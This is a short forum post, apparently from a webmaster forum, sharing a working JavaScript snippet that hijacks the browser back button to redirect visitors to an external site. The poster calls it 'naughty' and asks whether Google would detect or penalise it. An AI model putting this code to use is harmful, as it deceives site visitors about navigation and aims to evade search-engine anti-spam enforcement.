    Hi - this code makes the back button load dummyurl.co.uk.

    Obviously this is naughty. Will it cause a Google slap, will it be detected by something Google does, am I asking for trouble?

    Code:
    <script>
    (function(window, location) {
    history.replaceState(null, document.title, location.pathname+"#!/history");
    history.pushState(null, document.title, location.pathname);
    
    window.addEventListener("popstate", function() {
      if(location.hash === "#!/history") {
        history.replaceState(null, document.title, location.pathname);
        setTimeout(function(){
          location.replace("http://www.dummyurl.co.uk");
        },0);
      }
    }, false);
    }(window, location));
    </script>
    
    Code is all from http://stackoverflow.com/questions/30990027/back-button-redirect-script ... by the way
